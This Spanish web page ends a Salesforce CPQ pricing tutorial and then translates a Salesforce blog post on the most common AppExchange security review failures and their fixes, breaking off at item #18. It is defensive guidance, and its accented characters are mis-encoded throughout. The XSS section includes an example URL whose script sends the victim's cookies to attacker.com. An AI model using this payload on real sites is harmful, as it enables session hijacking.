4. **Precio Regular**: 隆Aqu铆 vienen los beneficios del programa de fidelizaci贸n! Como titular de una tarjeta de fidelidad 鈥淪undae Funday鈥, tienes derecho a un descuento adicional del 10 % en cualquier compra. Ese beneficio reduce su precio a $3.60. Este es el 鈥減recio regular鈥 que se ofrece a los clientes que cumplen ciertos criterios, como los miembros leales.

5. **Precio para el cliente**: Tienes un cup贸n por completar una encuesta en tu 煤ltima visita, lo que te otorga un descuento adicional de $0,50 en tu pr贸xima compra. Despu茅s de aplicar esto, su 鈥減recio al cliente鈥 ahora es de $3,10. Este precio es el resultado de interacciones o negociaciones directas y 煤nicas.

6. **Precio de socio**: La helader铆a tiene una asociaci贸n con un cine cercano. Dado que tiene una entrada de cine para el mismo d铆a, obtiene un descuento adicional del 5%, lo que reduce su cono a un 鈥減recio de socio鈥 de $2,95.

7. **Precio neto**: Finalmente, hay una promoci贸n para toda la tienda en la que cada compra superior a $2,50 obtiene un descuento adicional de $0,10. Esto 煤ltimo te lleva a tu 鈥減recio neto鈥 final de $2,85. Este es el monto final que paga y refleja todos los descuentos, promociones y circunstancias especiales que ha acumulado.

En este viaje, cada reducci贸n de precio refleja una etapa en la cascada de precios CPQ, desde el costo b谩sico de los bienes hasta el precio final pagado por un cliente en una posici贸n 煤nica.

Memorizar las etapas de tarificaci贸n junto con sus funciones utilizando el

Con el mnemot茅cnico 鈥淟os viejos leones duermen, rara vez atrapan presas, nunca ronronean鈥 , puede crear una historia que vincule cada t茅rmino no solo con el orden de los precios sino tambi茅n con sus roles espec铆ficos en el proceso de fijaci贸n de precios.

30. 驴Explique el m茅todo de fijaci贸n de precios de 'porcentaje del total'?

Imagina que est谩s en un parque de helados, famoso por su variedad de deliciosos helados y divertidas atracciones secundarias. Uno de los servicios 煤nicos que ofrece este parque es el "Bono Sorpresa de Sundae", un regalo especial que se calcula en funci贸n del monto total que gasta en otras delicias. As铆 es como funciona:

1. M茅todo de fijaci贸n de precios: 鈥淧orcentaje del total鈥:

鈥 Piense en esto como la 鈥淩egla de la sorpresa del helado鈥. Cada vez que compras helados, batidos o aderezos, eres elegible para recibir un regalo adicional. El parque ha establecido esta regla especial seg煤n la cual su bonificaci贸n es un porcentaje del monto total que ha gastado, como su 鈥減ropina鈥 en el restaurante. Esta regla es conocida por todos y es como la forma especial que tiene el parque de dar las gracias.

2. Porcentaje del total (%) 鈥 El n煤mero m谩gico:

鈥 El parque tiene carteles por todas partes que dicen: 鈥溌asta en golosinas y recibe un 10% de bonificaci贸n!鈥 Este 10% es el n煤mero m谩gico. Es como la receta especial para la felicidad del parque. Entonces, si gastas $30 en varios helados y batidos, recibir谩s un 鈥淏ono Sorpresa de Sundae鈥 por valor de $3.

3. Porcentaje de la base total: recuento de helados:

鈥 Ahora, aqu铆 es donde se pone a煤n m谩s genial. El parque te permite elegir qu茅 cuenta para este c谩lculo m谩gico del helado. Suponga que decide que solo cuentan las bolas de helado, no los batidos ni los waffles. Eso significa que si gastaste $20 en bolas y $10 en batidos, solo los $20 cuentan para tu 鈥淏ono Sorpresa de Sundae鈥, lo que lo convierte en un valor de $2 (10% de $20).

Por lo tanto, cada vez que disfruta de las delicias cremosas en este parque de helados, Salesforce CPQ es como el servidor invisible que trabaja en segundo plano. Se trata de asegurarse de que se sigan las reglas, calcular su gasto total, aplicar el porcentaje m谩gico y calcular su bonificaci贸n en funci贸n exactamente de lo que desea contar para la sorpresa.

Esto hace que recordar el concepto de 鈥減orcentaje del total鈥 sea tan f谩cil como disfrutar de un helado en un d铆a soleado.

50% Me gusta VS
50% No me gusta
Seguir leyendo

Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Las 20 principales vulnerabilidades encontradas en la revisi贸n de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisi贸n de seguridad de AppExchange es uno de los procesos de revisi贸n m谩s rigurosos de cualquier mercado de aplicaciones en l铆nea. Esta estricta reputaci贸n es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor n煤mero uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los m谩s altos est谩ndares de seguridad posibles para la protecci贸n de los datos de los clientes.

Dicho esto, estos est谩ndares pueden representar un desaf铆o importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener 茅xito, en orden de prevalencia, esta publicaci贸n analizar谩 las 20 razones principales por las que los socios no pasan la revisi贸n de seguridad (a partir de 2023). Tambi茅n cubriremos c贸mo remediar o prevenir estos problemas.

#1 鈥 Aplicaci贸n de CRUD/FLS

驴Qu茅 es esto?

Las vulnerabilidades de aplicaci贸n de la seguridad a nivel de objetos y campos (CRUD/FLS) son la raz贸n principal (por un margen significativo) para no pasar la revisi贸n de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene alg煤n c贸digo de Salesforce, este problema debe ser su prioridad n煤mero uno a resolver antes de enviarlo para una revisi贸n de seguridad.

驴C贸mo puedo abordar esto?

Si, durante su proceso de codificaci贸n, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querr谩 hacer una revisi贸n muy exhaustiva de su c贸digo base para asegurarse de que no est茅 realizar cualquier operaci贸n de creaci贸n/lectura/actualizaci贸n/eliminaci贸n no marcada en objetos o campos.

El m茅todo preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer a煤n no lo admiten completamente (al momento de escribir esta publicaci贸n, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protecci贸n arrojar谩 falsos positivos). Code Analyzer Graph Engine es actualmente la 煤nica herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentaci贸n para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, m茅todos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensi贸n PMD para VS Code pueden ser 煤tiles herramientas que puede utilizar para comprobar su c贸digo base. Puede seguir nuestra gu铆a para obtener m谩s informaci贸n sobre c贸mo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El esc谩ner Checkmarx debe utilizarse como verificaci贸n final de violaciones de CRUD/FLS. Puede ejecutar este an谩lisis a trav茅s del Portal de seguridad para socios .

Obtenga m谩s informaci贸n sobre la aplicaci贸n de CRUD/FLS en Trailhead .

#2 鈥 Versi贸n de software insegura

驴Qu茅 es esto?

Esto significa que alguna pieza de software (normalmente, una versi贸n espec铆fica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayor铆a de las veces, es porque est谩s usando una versi贸n desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la m谩s com煤n), pero tambi茅n podr铆a ser algo as铆 como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

驴C贸mo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnolog铆as que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

Busque cada uno de estos en Snyk (para proyectos de c贸digo abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas p煤blicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. Tambi茅n puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su c贸digo base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentaci贸n de falsos positivos para argumentar que un CVE particular registrado no podr铆a aplicarse a su oferta, ya que quiz谩s no est茅 utilizando la funcionalidad asociada con ese CVE.

#3 鈥 Violaci贸n al compartir

驴Qu茅 es esto?

B谩sicamente, esto significa que tiene clases de Apex en las que no ha agregado expl铆citamente la palabra clave with sharing al encabezado de la clase, omitiendo as铆 las reglas de uso compartido de una organizaci贸n.

驴C贸mo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y aseg煤rese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicaci贸n a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede a煤n m谩s claro).

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Obtenga m谩s informaci贸n sobre c贸mo compartir el cumplimiento a trav茅s de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

驴Qu茅 es esto?

Los secretos no deben estar codificados en el c贸digo fuente. Aunque el c贸digo puede estar contenido en un paquete administrado donde el c贸digo est谩 oculto para los clientes, todav铆a existen razones por las que esta es una pr谩ctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podr谩 actualizarlo por s铆 mismo.

驴C贸mo puedo abordar esto?

Aseg煤rese de que no haya secretos codificados en el c贸digo fuente, incluso si es un paquete administrado. Aseg煤rese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso espec铆fico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuraci贸n personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga m谩s informaci贸n sobre el almacenamiento seguro de secretos en Trailhead .

#5 鈥 Configuraci贸n TLS/SSL

驴Qu茅 es esto?

Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es v谩lido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si est谩n en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

驴C贸mo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisi贸n de seguridad ejecutar谩 este an谩lisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su soluci贸n. Si sus terminales no reciben una calificaci贸n A por cumplimiento de SSL/TLS, su revisi贸n de seguridad no ser谩 aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar m谩s detalles sobre los requisitos de TLS en las notas de la versi贸n .

#6 鈥 Informaci贸n confidencial en depuraci贸n

驴Qu茅 es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra informaci贸n confidencial, como secretos de aplicaciones, datos del sistema o informaci贸n de depuraci贸n demasiado detallada, a trav茅s de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado est谩 habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisi贸n de seguridad de AppExchange.

驴C贸mo puedo abordar esto?

En su paquete de Salesforce, aseg煤rese de buscar en su c贸digo fuente todas las declaraciones de depuraci贸n del paquete para asegurarse de que no registren informaci贸n confidencial o secretos.

Aseg煤rese de que los c贸digos de error y los mensajes de error en toda su soluci贸n tengan un nivel de informaci贸n apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deber铆an ver seguimientos de pila completos ni informaci贸n de depuraci贸n detallada. De manera similar, aseg煤rese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los esc谩neres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP tambi茅n pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga m谩s informaci贸n sobre c贸mo verificar los seguimientos de la pila e informaci贸n detallada sobre las excepciones en el n煤mero 13.

#7 – CSRF

驴Qu茅 es esto?

La falsificaci贸n de solicitudes entre sitios (CSRF) es un tipo de ataque que enga帽a a una v铆ctima para que ejecute acciones no deseadas en una aplicaci贸n web en la que est谩 autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente da帽inas, como cambiar direcciones de correo electr贸nico y contrase帽as, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protecci贸n mientras se utilizan controladores y m茅todos est谩ndar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios m茅todos de acci贸n.

驴C贸mo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores 煤nicos y espec铆ficos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Adem谩s, deben adoptar la pr谩ctica de cookies del mismo sitio, que impide que el navegador env铆e la cookie junto con solicitudes entre sitios, mitigando as铆 los riesgos de CSRF.

Para p谩ginas de Visualforce:

  • Al crear p谩ginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones autom谩ticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la p谩gina.
  • Otra t茅cnica de mitigaci贸n implica agregar una p谩gina de confirmaci贸n intermedia antes de realizar la acci贸n, donde el usuario puede confirmar que ten铆a la intenci贸n de realizar esa acci贸n.

Para componentes Lightning:

  • De manera similar a las p谩ginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que tambi茅n desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad m谩s complicados, por lo que vale la pena invertir en aprender m谩s sobre 茅l en profundidad. Para los paquetes de Salesforce, existe excelente documentaci贸n para desarrolladores y un m贸dulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentaci贸n de OWASP .

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.潞 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

驴Qu茅 es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyecci贸n en los que se insertan secuencias de comandos da帽inas en sitios web confiables. Ocurren cuando un atacante explota una aplicaci贸n web para enviar c贸digo malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesi贸n u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la p谩gina.

Los ataques XSS almacenados son de tipo persistente, en los que la aplicaci贸n web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta c贸digo malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicaci贸n podr铆a ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una p谩gina sin validarlas adecuadamente (para garantizar que no contenga c贸digo/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • P谩ginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificaci贸n de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=鈥漨anual鈥 o el componente lightning:formattedRichText sin la validaci贸n de entrada adecuada.
  • Par谩metros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una p谩gina sin validaci贸n (lo que lleva a XSS reflejado).

驴C贸mo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulaci贸n de DOM, pero tambi茅n recomendamos practicar el filtrado de entrada y la codificaci贸n de salida, que incluyen:

  • Evite la manipulaci贸n del modelo de objetos de documento (DOM): en su lugar, utilice t茅cnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
  • Filtrado de entrada: aseg煤rese de que la entrada del usuario no contenga c贸digo ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres com煤nmente utilizados en el c贸digo, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, par茅ntesis u operadores matem谩ticos o l贸gicos como '+', '&' o '-')
  • Codificaci贸n de salida : aseg煤rese de que si el c贸digo ejecutable pasara el filtrado de entrada, no se interprete como c贸digo al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este m贸dulo de Trailhead explica exactamente c贸mo mitigar XSS con estas t茅cnicas, y nuestra documentaci贸n para desarrolladores tambi茅n es 煤til aqu铆. Para obtener consejos espec铆ficos sobre la protecci贸n contra XSS en componentes Lightning, consulte la p谩gina Seguridad Lightning en la Gu铆a de codificaci贸n segura.

Para aplicaciones web que no son de Salesforce, tambi茅n puede consultar la documentaci贸n de OWASP para obtener consejos adicionales.

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

#9: JavaScript no est谩 en recursos est谩ticos

驴Qu茅 es esto?

Muchos paquetes administrados por Salesforce no pasan la revisi贸n de seguridad por no almacenar JavaScript como recursos est谩ticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La raz贸n principal de esta regla es que permite un control de versiones mucho m谩s seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa est谩 comprometida.

驴C贸mo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos est谩ticos y luego cargarse con una etiqueta <apex:includeScript> en su p谩gina (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los m贸dulos JavaScript que importe a su componente o use la funci贸n loadScript para cargar un archivo JavaScript de recursos est谩ticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su c贸digo fuente para asegurarse de que todas las bibliotecas de JavaScript est茅n almacenadas como recursos est谩ticos, no cargadas din谩micamente a trav茅s de hiperv铆nculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina t茅cnica para analizar su caso de uso. Es posible obtener una excepci贸n en ciertos casos.

Obtenga m谩s informaci贸n sobre este problema en nuestra documentaci贸n para desarrolladores .

#10 鈥 Inyecci贸n SOQL

驴Qu茅 es esto?

La inyecci贸n SOQL es la versi贸n espec铆fica de Salesforce de la inyecci贸n SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL din谩mica. Si la entrada no est谩 validada, puede incluir comandos SOQL que modifican efectivamente la declaraci贸n SOQL y enga帽an a la aplicaci贸n para que ejecute comandos no deseados.

驴C贸mo puedo abordar esto?

La forma m谩s sencilla de evitar el problema es evitar consultas din谩micas en favor de consultas est谩ticas y utilizar variables vinculantes. De lo contrario, deber谩 validar estrictamente las entradas del usuario antes de usarlas en consultas mediante t茅cnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Para obtener m谩s informaci贸n, consulte nuestro m贸dulo Trailhead o revise nuestra documentaci贸n para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener m谩s informaci贸n sobre la inyecci贸n SQL en la gu铆a OWASP . Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudar a identificar problemas de inyecci贸n SQL.

#11 鈥 Lightning: carga CSS inadecuada

驴Qu茅 es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una pr谩ctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en l铆nea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> tambi茅n permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que est谩 cargando est茅 correctamente aislado y no incluya c贸digo o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicaci贸n Salesforce.

驴C贸mo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso est谩tico, use una etiqueta <apex:stylesheet> en su p谩gina (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el c贸digo fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ning煤n lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya est谩n bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluir铆a su CSS en el archivo CSS asociado de su componente o usar铆a la funci贸n loadStyle para cargar un archivo CSS de recursos est谩ticos.

Puede encontrar m谩s informaci贸n en nuestra documentaci贸n para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia cl谩sica)

驴Qu茅 es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicaci贸n Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicaci贸n en las p谩ginas de Visualforce que usted controla, de modo que el JavaScript personalizado est茅 esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pesta帽as web, componentes de p谩gina de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podr铆a ser motivo de falla).

驴C贸mo puedo abordar esto?

Esto es algo que deber谩 verificar manualmente en el c贸digo fuente de su paquete Salesforce. Verifique y aseg煤rese de que no haya utilizado JavaScript para crear botones personalizados, pesta帽as web, componentes de la p谩gina de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado est茅 incluido solo en el dominio de su aplicaci贸n con espacio de nombres en las p谩ginas de VisualForce que controla como parte de su aplicaci贸n.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicaci贸n (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, aseg煤rese de eliminarlo. Incluso si su aplicaci贸n solo est谩 destinada a usarse en Lightning Experience, si la vulnerabilidad est谩 presente para los usuarios en modo Cl谩sico, el paquete no se puede aprobar.

Esta regla en particular no est谩 especialmente bien documentada, pero puede leer m谩s en el documento Lista de verificaci贸n de revisi贸n de seguridad de AppExchange (se requiere iniciar sesi贸n en la comunidad de socios).

#13 鈥 Divulgaci贸n de informaci贸n en p谩ginas de error y excepciones

驴Qu茅 es esto?

En el contexto de la revisi贸n de seguridad de AppExchange, este t茅rmino se refiere espec铆ficamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus p谩ginas de error muestran datos confidenciales del sistema o informaci贸n de depuraci贸n. Por ejemplo, a veces las p谩ginas de error incluyen seguimientos de pila completos que muestran c贸mo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde est谩 instalada la aplicaci贸n. A veces, incluso la informaci贸n confidencial queda expuesta de esta manera.

驴C贸mo puedo abordar esto?

Busque en su base de c贸digo llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no v谩lidas, entradas vac铆as, entradas demasiado largas, acceso a p谩ginas internas sin autenticaci贸n, omisi贸n de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

Tambi茅n puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a trav茅s de esta gu铆a de OWASP .

#14 鈥 Componentes de Aura: componente externo de CSS

驴Qu茅 es esto?

Se supone que los componentes de Aura son peque帽os, aut贸nomos, reutilizables y reposicionables. CSS que evita la encapsulaci贸n de componentes (a trav茅s de .THIS) o que utiliza un posicionamiento no est谩ndar (por ejemplo, flotante o posici贸n: absoluta o fija) infringe estas garant铆as y puede interferir con la visualizaci贸n de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la raz贸n principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el dise帽o del sitio web de Salesforce y viola el esp铆ritu del modelo de seguridad de Lightning, donde los componentes est谩n estrictamente aislados y se garantiza que permanecer谩n en su propio carril.

驴C贸mo puedo abordar esto?

Este es otro problema que debes verificar manualmente. B谩sicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. Tambi茅n recomendamos revisar nuestra documentaci贸n para asegurarse de que est谩 siguiendo todas las reglas CSS correctas.

#15 鈥 Canal de mensajes expuesto

驴Qu茅 es esto?

Este t茅rmino se refiere espec铆ficamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

驴C贸mo puedo abordar esto?

Tiene dos opciones, seg煤n su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminaci贸n de componentes administrados para su paquete u organizaci贸n de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectar铆a la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (aseg煤rese de mencionar esto espec铆ficamente en un mensaje falso). documento positivo sobre su presentaci贸n).
  2. Si tiene que utilizar un componente de canal LMS, aseg煤rese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice 煤nicamente el componente reci茅n creado en el c贸digo.

M谩s informaci贸n est谩 disponible en la documentaci贸n .

#16 鈥 Informaci贸n confidencial en URL

驴Qu茅 es esto?

Esto se refiere a una situaci贸n en la que se env铆a informaci贸n confidencial de larga duraci贸n en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contrase帽a). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de b煤squeda indexan URL y almacenan inadvertidamente informaci贸n confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, cach茅 del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Informaci贸n de URL enviada a aplicaciones web de terceros a trav茅s del encabezado de referencia o expuesta a scripts de terceros en la p谩gina

驴C贸mo puedo abordar esto?

Burp Suite puede ayudarle aqu铆 para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicaci贸n para detectar cualquier caso en el que se env铆en secretos a largo plazo a trav茅s de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su m茅todo de autenticaci贸n (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores m茅todos de almacenamiento de secretos.

La gu铆a OWASP es un gran recurso a seguir.

#17 鈥 Punto final inseguro

驴Qu茅 es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

驴C贸mo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma a煤n m谩s segura de verificar esto es buscar en el c贸digo fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco m谩s sobre c贸mo esto mejora la seguridad en esta p谩gina de OWASP .

#18 鈥 Enumeraci贸n de nombre de usuario o correo electr贸nico

驴Qu茅 es esto?

